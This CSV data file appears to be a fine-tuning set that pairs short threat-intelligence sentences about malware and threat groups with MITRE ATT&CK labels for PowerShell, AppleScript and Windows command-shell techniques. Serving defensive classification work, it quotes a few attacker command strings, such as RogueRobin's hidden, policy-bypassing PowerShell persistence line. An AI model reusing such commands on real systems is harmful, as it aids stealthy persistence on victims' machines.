JSS Loader has the ability to download and execute PowerShell scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
KOCTOPUS has used PowerShell commands to download additional files.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
KONNI used PowerShell to download and execute a specific 64-bit version of the malware.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
KeyBoy uses PowerShell commands to download and execute payloads.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Kimsuky has executed a variety of PowerShell scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Koadic has used PowerShell to establish persistence.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
LazyScripter has used PowerShell scripts to execute malicious code.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Leviathan has used PowerShell for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
LitePower can use a PowerShell script to execute commands.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Lizar has used PowerShell scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Lokibot has used PowerShell commands embedded inside batch scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Magic Hound has used PowerShell for execution and privilege escalation.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Meteor can use PowerShell commands to disable the network adapters on a victim machines.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Mosquito can launch PowerShell Scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
MuddyWater has used PowerShell for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Mustang Panda has used malicious PowerShell scripts to enable execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Netwalker has been written in PowerShell and executed directly in memory, avoiding detection.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Nomadic Octopus has used PowerShell for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"OilRig has used PowerShell scripts for execution, including use of a macro to run a PowerShell command to decode file contents.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
One version of Helminth uses a PowerShell script.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"POSHSPY uses PowerShell to execute various commands, one to execute its payload.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
POWERSOURCE is a PowerShell backdoor.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
POWERSTATS uses PowerShell for obfuscation and execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
POWERTON is written in PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
POWRUNER is written in PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
PUNCHBUGGY has used PowerShell scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
PowGoop has the ability to use PowerShell scripts to execute commands.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
PowerLess is written in and executed via PowerShell without using powershell.exe.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
PowerShower is a backdoor written in PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
PowerSploit modules are written in and executed via PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
PyDCrypt has attempted to execute with PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Pysa has used Powershell scripts to deploy its ransomware.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
QakBot can use PowerShell to download and execute payloads.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
REvil has used PowerShell to delete volume shadow copies and download files.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"RogueRobin uses a command prompt to run a PowerShell script from Excel. To assist in establishing persistence, RogueRobin creates ""%APPDATA%\OneDrive.bat"" and saves the following string to it:""powershell.exe -WindowStyle Hidden -exec bypass -File “%APPDATA%\OneDrive.ps1”"".",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
SHARPSTATS has the ability to employ a custom PowerShell script.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
SMOKEDHAM can execute Powershell commands sent from its C2 server.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
SQLRat has used PowerShell to create a Meterpreter session.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
SeaDuke uses a module to execute Mimikatz with PowerShell to perform Pass the Ticket.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
ServHelper has the ability to execute a PowerShell script to get information from the infected host.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
SharpStage can execute arbitrary commands with PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Sidewinder has used PowerShell to drop and execute malware loaders.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Socksbot can write and execute PowerShell scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Stealth Falcon malware uses PowerShell commands to perform various functions, including gathering system information via WMI and executing commands from its C2 server.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
StrongPity can use PowerShell to add files to the Windows Defender exclusions list.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
TA459 has used PowerShell for execution of a payload.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"TEMP.Veles has used a publicly-available PowerShell-based tool, WMImplant. The group has also used PowerShell to perform Timestomping.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
The Clambling dropper can use PowerShell to download the malware.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
The NETWIRE binary has been executed via PowerShell script.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
The Poseidon Group's Information Gathering Tool (IGT) includes PowerShell components.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
There is a variant of RATANKBA that uses a PowerShell script instead of the traditional PE form.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Threat Group-3390 has used PowerShell for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Thrip leveraged PowerShell to run commands to download payloads, traverse the compromised networks, and carry out reconnaissance.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Tonto Team has used PowerShell to download additional payloads.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"TrickBot has been known to use PowerShell to download new payloads, open documents, and upload data to command and control servers.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"UNC2452 used PowerShell to create new tasks on remote machines, identify configuration settings, exfiltrate data, and to execute other commands.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
WIRTE has used PowerShell for script execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
WarzoneRAT can use PowerShell to download files and execute commands.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
WellMess can execute PowerShell scripts received from C2.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
WhisperGate can use PowerShell to support multiple actions including execution and defense evasion.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Wizard Spider has used macros to execute PowerShell scripts to download malware on victim's machines. It has also used PowerShell to execute commands and move laterally through a victim network.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Xbash can use scripts to invoke PowerShell to download a malicious PE executable or PE DLL for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Zeus Panda uses PowerShell to download and execute the payload.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Bundlore can use AppleScript to inject malicious JavaScript into a browser.,['T1059.002 - Command and Scripting Interpreter: AppleScript'],fine_tune
"ThiefQuest uses AppleScript's ""osascript -e"" command to launch ThiefQuest's persistence via Launch Agent and Launch Daemon.",['T1059.002 - Command and Scripting Interpreter: AppleScript'],fine_tune
macOS.OSAMiner has used `osascript` to call itself via the `do shell script` command in the Launch Agent `.plist` file.,['T1059.002 - Command and Scripting Interpreter: AppleScript'],fine_tune
4H RAT has the capability to create a remote shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
ABK has the ability to use cmd to run a Portable Executable (PE) on the compromised host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
ADVSTORESHELL can create a remote shell and run a given command.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
APT18 uses cmd.exe to execute commands on the victim’s machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"APT29 used ""cmd.exe"" to execute commands on remote machines.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
APT32 has used cmd.exe for execution.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
APT37 has used the command-line interface.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"APT38 has used a command-line tunneler, NACHOCHEESE, to give them shell access to a victim’s machine.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"APT41 used ""cmd.exe /c"" to execute commands on remote machines.
APT41 used a batch file to install persistence for the Cobalt Strike BEACON loader.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Action RAT can use `cmd.exe` to execute commands on an infected host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
An APT28 loader Trojan uses a cmd.exe and batch script to run its payload. The group has also used macros to execute payloads.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Anchor has used cmd.exe to run its self deletion routine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Aquatic Panda has attempted and failed to run Bash commands on a Windows host by passing them to ""cmd /C"".",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
AuTo Stealer can use `cmd.exe` to execute a created batch file.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
BADNEWS is capable of executing commands via cmd.exe.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
BISCUIT has a command to launch a command shell on the system.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
BLACKCOFFEE has the capability to create a reverse shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
BLINDINGCAN has executed commands via cmd.exe.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
BONDUPDATER can read batch commands in a file sent from its C2 server and execute them with cmd.exe.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
BRONZE BUTLER has used batch scripts and the command-line interface for execution.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Babuk has the ability to use the command line to control execution on compromised hosts.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
BabyShark has used cmd.exe to execute commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
BackConfig can download and run batch files to execute commands on a compromised host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Bandook is capable of spawning a Windows command shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Bankshot uses the command-line interface to execute arbitrary commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Bazar can launch cmd.exe to perform reconnaissance commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
BlackMould can run cmd.exe with parameters.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"BoxCaon can execute arbitrary commands and utilize the ""ComSpec"" environment variable.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Bumblebee can use `cmd.exe` to drop and run files.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
CALENDAR has a command to run cmd.exe to execute commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
CARROTBAT has the ability to execute command line arguments on a compromised host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Carbanak has a command to create a reverse shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Cardinal RAT can execute commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
China Chopper's server component is capable of opening a command terminal.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Clambling can use cmd.exe for command execution.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Clop can use cmd.exe to help execute commands on the system.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Cobalt Group has used a JavaScript backdoor that is capable of launching cmd.exe to execute shell commands. The group has used an exploit toolkit known as Threadkit that launches .bat files.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Cobalt Strike uses a command-line interface to interact with systems.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"ComRAT has used ""cmd.exe"" to execute commands.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Conti can utilize command line options to allow an attacker control over how it scans and encrypts files.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Cuba has used ""cmd.exe /c"" and batch files for execution.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
DanBot has the ability to execute arbitrary commands via `cmd.exe`.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Dark Caracal has used macros in Word documents that would download a second stage if executed.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
DarkWatchman can use `cmd.exe` to execute commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Darkhotel has dropped an mspaint.lnk shortcut to disk which launches a shell script that downloads and executes a file.,"['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
DealersChoice makes modifications to open-source scripts from GitHub and executes them on the victim’s machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Dipsind can spawn remote shells.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
DnsSystem can use `cmd.exe` for execution.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
DownPaper uses the command line.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Dragonfly 2.0 used various types of scripting to perform operations, including batch scripts.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Dragonfly has used various types of scripting to perform operations, including batch scripts.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Dtrack has used ""cmd.exe"" to add a persistent service.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"During C0015, the threat actors used `cmd.exe` to execute commands and run malicious binaries.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"During FunnyDream, the threat actors used `cmd.exe` to execute the wmiexec.vbs script.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"During Night Dragon, threat actors used zwShell to establish full remote control of the connected machine and run command-line shells.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"During Operation Honeybee, various implants used batch scripting and `cmd.exe` for execution.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"During Operation Wocao, threat actors spawned a new `cmd.exe` process to execute commands.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Ember Bear had used `cmd.exe` and Windows Script Host (wscript) to execute malicious code.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Emissary has the capability to create a remote shell and execute specified commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Empire has modules for executing scripts.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
EvilBunny has an integrated scripting engine to download and execute Lua scripts.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
FIN10 has executed malicious .bat files containing PowerShell commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"FIN6 has used ""kill.bat"" script to disable security tools.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
FIN7 used the command prompt to launch commands on the victim’s machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
FIN8 has used a Batch file to automate frequently executed post compromise cleanup activities. FIN8 has also executed commands remotely via cmd.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Felismus uses command line for execution.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
FlawedAmmyy has used `cmd` to execute commands on a compromised host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Following exploitation with LOWBALL malware, admin@338 actors created a file containing a list of commands to be executed on the compromised computer.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Fox Kitten has used cmd.exe likely as a password changing mechanism.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Frankenstein has run a command script to set up persistence as a scheduled task named ""WinUpdate"", as well as other encoded commands from the command-line.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
FunnyDream can use `cmd.exe` for execution on remote hosts.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
GALLIUM used the Windows command shell to execute commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Gamaredon Group has used various batch scripts to establish C2 and download additional files. Gamaredon Group's backdoor malware has also been written to a batch file.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Gold Dragon uses cmd.exe to execute commands for discovery.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"GoldMax can spawn a command shell, and execute native commands.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
GoldenSpy can execute remote commands via the command-line interface.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Goopy has the ability to use cmd.exe to execute commands passed from an Outlook C2 channel.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Gorgon Group malware can use cmd.exe to download and execute payloads and to execute commands on the system.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
GravityRAT executes commands remotely on the infected host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
H1N1 kills and disables services by using cmd.exe.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"HAWKBALL has created a cmd.exe reverse shell, executed commands, and uploaded output via the command line.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
HOMEFRY uses a command-line interface.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
HTTPBrowser is capable of spawning a reverse shell on a victim.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Helminth can provide a remote shell. One version of Helminth uses batch scripting.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
HermeticWizard can use `cmd.exe` for execution on compromised hosts.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Hi-Zor has the ability to create a reverse shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
HiddenWasp uses a script to automate tasks on the victim's machine and to assist in execution.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Higaisa used ""cmd.exe"" for execution.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Hikit has the ability to create a remote shell and run given commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Indrik Spider has used batch scripts on victim's machines.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Ixeshe is capable of executing commands via cmd.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
JHUHUGIT uses a .bat file to execute a .dll.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
JPIN can use the command-line utility cacls.exe to change file permissions.,"['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification']",fine_tune
KEYMARBLE can execute shell commands using cmd.exe.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
KGH_SPY has the ability to set a Registry key to run a cmd.exe command.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
KOCTOPUS has used `cmd.exe` and batch files for execution.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
KOMPROGO is capable of creating a reverse shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Kasidet can execute commands using cmd.exe.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Ke3chang has used batch scripts in its malware to install persistence mechanisms.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Kimsuky has executed Windows commands by using `cmd` and running batch scripts.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
LazyScripter has used batch files to deploy open-source and multi-stage RATs.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Leviathan uses a backdoor known as BADFLICK that is is capable of generating a reverse shell, and has used multiple types of scripting for execution, including JavaScript and JavaScript Scriptlets in XML..",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
LightNeuron is capable of executing commands via cmd.exe.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Linfo creates a backdoor through which remote attackers can start a remote shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Lizar has a command to open the command-line on the infected system.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Lokibot has used ""cmd /c"" commands embedded within batch scripts.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"LookBack executes the ""cmd.exe"" command.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
LoudMiner used a batch script to run the Linux virtual machine as a service.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Lucifer can issue shell commands to download and execute additional payloads.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Machete has used batch files to initiate additional downloads of malicious files.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Magic Hound has used the command-line interface.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
MechaFlounder has the ability to run commands on a compromised host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"MegaCortex has used "".cmd"" scripts on the victim's system.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Meteor can run `set.bat`, `update.bat`, `cache.bat`, `bcd.bat`, `msrun.bat`, and similar scripts.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Micropsia creates a command-line shell using cmd.exe.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Milan can use `cmd.exe` for discovery actions on a targeted system.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
MirageFox has the capability to execute commands using cmd.exe.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Mis-Type has used `cmd.exe` to run commands on a compromised host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Misdat is capable of providing shell functionality to the attacker to execute commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Mivast has the capability to open a remote shell and run basic commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"MoonWind can execute commands via an interactive command shell. MoonWind uses batch scripts for various purposes, including to restart and uninstall itself.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
More_eggs has used cmd.exe for execution.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Mosquito executes cmd.exe and uses a pipe to read the results and send back the output to the C2 server.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Mustang Panda has executed HTA files via cmd.exe, and used batch scripts for collection.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
NETWIRE can issue commands using cmd.exe.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
NanoCore can open a remote command-line interface and execute commands. NanoCore uses JavaScript files.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Nebulae can use CMD to execute a process.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Nomadic Octopus used ""cmd.exe /c"" within a malicious macro.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
OceanSalt can create a reverse shell on the infected endpoint using cmd.exe. OceanSalt has been executed via malicious macros.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
OilRig has used macros to deliver malware such as QUADAGENT and OopsIE. OilRig has used batch scripts.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Okrum's backdoor has used cmd.exe to execute arbitrary commands as well as batch scripts to update itself to a newer version.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
OopsIE uses the command prompt to execute commands on the victim's machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Operation Wocao has spawned a new ""cmd.exe"" process to execute commands.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Operators deploying Netwalker have used batch scripts to retrieve the Netwalker payload.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Orz can execute shell commands. Orz can execute commands with JavaScript.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Out1 can use native command line for execution.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
OutSteel has used `cmd.exe` to scan a compromised host for specific file extensions.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
PHOREAL is capable of creating reverse shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
PLEAD has the ability to execute shell commands on the compromised host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
POWRUNER can execute commands from its C2 server.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Patchwork ran a reverse shell with Meterpreter. Patchwork used JavaScript code and .SCT files on victim machines.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
PcShare can execute `cmd` commands on a compromised host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Peppy has the ability to execute shell commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
PlugX allows actors to spawn a reverse shell on a victim.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Proxysvc executes a binary on the system and logs the results into a temp file by using: ""cmd.exe /c ""<file_path> > %temp%\PM* .tmp 2>&1"""".",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Pteranodon can use `cmd.exe` for execution on victim systems.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
PyDCrypt has used `cmd.exe` for execution.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
QUADAGENT uses cmd.exe to execute scripts and commands on the victim’s machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
QakBot can use cmd.exe to launch itself and to execute multiple C2 commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
RATANKBA uses cmd.exe to execute commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"RDAT has executed commands using ""cmd.exe /c"".",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
REvil can use the Windows command line to delete volume shadow copies and disable recovery.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
RGDoor uses cmd.exe to execute commands on the victim’s machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
RTM uses the command line and rundll32.exe to execute.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Ragnar Locker has used cmd.exe and batch scripts to execute commands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
RainyDay can use the Windows Command Shell for execution.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Rancor has used cmd.exe to execute commmands.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
RedLeaves can receive and execute commands with cmd.exe. It can also provide a reverse shell.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Revenge RAT uses cmd.exe to execute commands and run scripts on the victim's machine.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
RobbinHood uses cmd.exe on the victim's computer.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
RunningRAT uses a batch file to kill a security program task and then attempts to remove itself.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Ryuk has used ""cmd.exe"" to create a Registry entry to establish persistence.",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
S-Type has provided the ability to execute shell commands on a compromised host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
SDBbot has the ability to use the command shell to execute commands on a compromised host.,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
